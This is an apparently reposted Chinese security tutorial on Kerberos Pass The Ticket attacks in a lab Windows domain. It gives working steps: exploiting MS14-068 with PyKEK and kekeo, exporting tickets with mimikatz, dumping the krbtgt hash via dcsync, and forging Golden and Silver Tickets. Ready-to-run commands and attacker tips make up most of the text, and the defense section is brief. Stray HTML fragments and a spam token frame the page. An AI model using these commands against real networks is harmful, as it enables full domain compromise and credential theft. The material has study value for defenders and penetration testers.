<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/12159

    0x00 前言


    上篇介紹了有關Pass The Hash 和Pass The Key的技巧,這次接著介紹一下Pass The Ticket

    Alt text

    此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

    0x01 簡介


    在域環境中,Kerberos協議被用來作身份認證,上圖所示即為一次簡單的身份認證流程,具體細節可以參考相關資料,這里僅介紹幾個名詞:

    在了解了相關名詞之后,我們從實際利用的角度來介紹與Pass The Ticket有關的技術

    測試環境:

    #!bash
    域控:
    os:server 2008 r2 x64
    ip:192.168.40.132
    
    域內主機:
    os:win7 x64
    ip:192.168.40.225
    

    0x02 MS14-068


    時至今日,該漏洞已經過去一年多,針對其攻擊的防御檢測方法已經很成熟,所以對其利用方法做一個回顧。

    1、PyKEK

    最先公開的利用方法是Sylvain Monné用Python實現的PyKEK

    準備條件:

    Tips:

    1. 操作系統要求Win7及以上,這是因為XP不支持導入Ticket
    2. 攻擊主機可使用其他域用戶信息,比如可以在主機A上用域用戶B的口令及sid攻擊
    3. 將Python腳本轉成exe即可在任意一臺Windows主機使用

    漏洞利用的步驟為:

    Tips:

    1. 如果不先清除內存中的Ticket直接導入,有可能會失敗
    2. 連接域控要使用域控地址,不要用IP

    2、kekeo

    Benjamin DELPY用c實現了MS14-068的利用工具,更簡單高效。

    因為域用戶對應sid本就可以通過程序自動獲取,清除導入票據也能自動實現,當然,如果想用其他域用戶信息攻擊,也可以加上sid手動導入票據

    kekeo的快捷用法僅需要以下參數:

    實際測試如圖,成功獲得了域控的訪問權限

    Alt text

    Alt text

    下載地址:
    https://github.com/gentilkiwi/kekeo/releases

    0x03 Export the ticket


    在我們成功獲得域控權限后,就可以導出域控內存中的Ticket,在默認的10個小時以內都可以利用來登錄域控

    通過mimikatz導出內存中的Ticket,執行:

    #!bash
    sekurlsa::tickets /export
    

    如圖 Alt text

    保存成文件,一共導出如下文件,如圖 Alt text

    挑選其中的[0;2d87a][email protected]在域普通用戶的主機進行導入

    執行:

    #!bash
    mimikatz "kerberos::ptt C:\test\[0;2d87a][email protected]"
    

    如圖,導入成功 Alt text

    查看是否有域控權限,如圖 Alt text

    Tips:

    1. 64位系統使用ptt功能要用32位的mimikatz,如果用64的mimikatz,那么無法導入Ticket
    2. 這種方式導入的Ticket默認在10小時以內生效

    0x04 Golden Ticket


    每個用戶的Ticket都是由krbtgt的密碼Hash來生成的,那么,我們如果拿到了krbtgt的密碼Hash,不就可以隨意偽造Ticket了嗎?

    實際上只要拿到了域控權限,在上面就可以很容易的獲得krbtgt的Hash值,再通過mimikatz即可生成任意用戶任何權限的Ticket,也就是Golden Ticket

    1、導出krbtgt的Hash

    在域控上執行

    #!bash
    mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
    

    生成mimikatz.log記錄輸出,使用log輸出是為了方便復制Hash值

    如圖: Alt text

    找到如下信息:

    #!bash
    /domain:test.local
    /sid:S-1-5-21-4155807533-921486164-2767329826 
    /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
    

    2、生成Golden Ticket

    偽造的用戶設置為god,執行

    #!bash
    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 
    /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god 
    /ticket:gold.kirbi"
    

    生成文件gold.kirbi

    Tips:

    生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM hash
    可以用mimikatz "lsadump::lsa /patch"導出

    如圖 Alt text

    導入Golden Ticket,執行如下命令:

    #!bash
    kerberos::ptt c:\test\gold.kirbi
    

    如圖,成功獲得域控權限 Alt text

    Tips:

    1. 這種方式導入的Ticket默認在20分鐘以內生效,當然,如果過期了,再次ptt導入Golden Ticket就好
    2. 可以偽造任意用戶,即使其不存在
    3. krbtgt的NTLM hash不會輕易改變,即使修改域控管理員密碼

    0x05 Silver Ticket


    Silver Ticket是偽造的TGS(Ticket Granting Server)ticket,所以也叫service ticket

    將它同Golden Ticket做對比:

    1、訪問權限不同

    Golden Ticket是偽造的TGT(Ticket Granting Ticket),所以可以獲取任何Kerberos服務權限

    Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限

    2、加密方式不同

    Golden Ticket是由krbtgt的hash加密

    Silver Ticket是由服務賬戶(通常為計算機賬戶)hash加密

    3、認證流程不同

    Golden Ticket在使用的過程需要同域控通信

    Silver Ticket在使用的過程不需要同域控通信

    舉例說明Silver Ticket:

    正常的認證流程為 Alt text

    此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

    如果使用了Silver Ticket,認證流程變為 Alt text

    此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

    不難看出其中取消了步驟1-4

    也就是說只要手里有Silver Ticket,就可以跳過KDC認證,直接去訪問指定的服務。

    比如現在要訪問域控上的“cifs”服務(cifs服務用于Windows主機間的文件共享)

    首先需要獲得如下信息:

    在域控上執行如下命令來獲取域控主機的本地管理員賬戶hash

    #!bash
    mimikatz log "sekurlsa::logonpasswords"
    

    如圖 Alt text

    注:

    此處要找到計算機賬戶,也就是Username : WIN-8VVLRPIAJB0$NTLM hash,如果是其他賬戶,那么會失敗

    整理以上獲得的信息如下:

    使用mimikatz執行如下命令導入Silver Ticket

    #!bash
    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
    

    如圖,成功導入,此時可以成功訪問域控上的文件共享

    Alt text

    Alt text

    為了加深理解,再舉一個例子

    訪問域控上的“LDAP”服務

    整理信息如下,只需要把/service的名稱改為LDAP,/user改為krbtgt,/rc4改為krbtgt的NTLM HASH

    mimikatz導入Silver Ticket的命令為:

    #!bash
    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
    

    此時dir \\WIN-8VVLRPIAJB0.test.local\c$ 發現無法訪問,也就是前面提到的

    Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限

    如圖,雖然成功導入,但是無法訪問域控的文件共享 Alt text

    但是執行如下命令可以遠程訪問LDAP服務來獲得krbtgt的信息:

    #!bash
    mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
    

    如圖,成功遠程獲得krbtgt賬戶信息 Alt text

    注:

    lsadump::dcsync
    向 DC 發起一個同步對象(可獲取帳戶的密碼信息)的質詢。
    需要的權限包括管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器的計算機帳戶
    只讀域控制器默認不允許讀取用戶密碼數據
    

    參數選項:

    /user - 要查詢的用戶id 或 SID
    /domain(可選的)默認設置為當前域。
    /dc(可選的)指定DCSync 連接的域控位置
    

    當然,還有其他服務可通過偽造Silver Ticket訪問:

    如圖列舉了其他可用作Silver Ticket的服務: Alt text

    此圖片引用自https://adsecurity.org/?p=2011

    0x06 防御


    1. 域控及時更新補丁
    2. 時刻監控域控日志
    3. 限制mimikatz使用

    0x07 小結


    本文介紹了和Pass The Ticket有關的技術,著重對實際使用的一些情況做了演示,無論攻防,只有實踐,才會進步。

    Real knowledge comes from practices.

    0x08 參考資料:


    本文由三好學生原創并首發于烏云drops,轉載請注明

    97av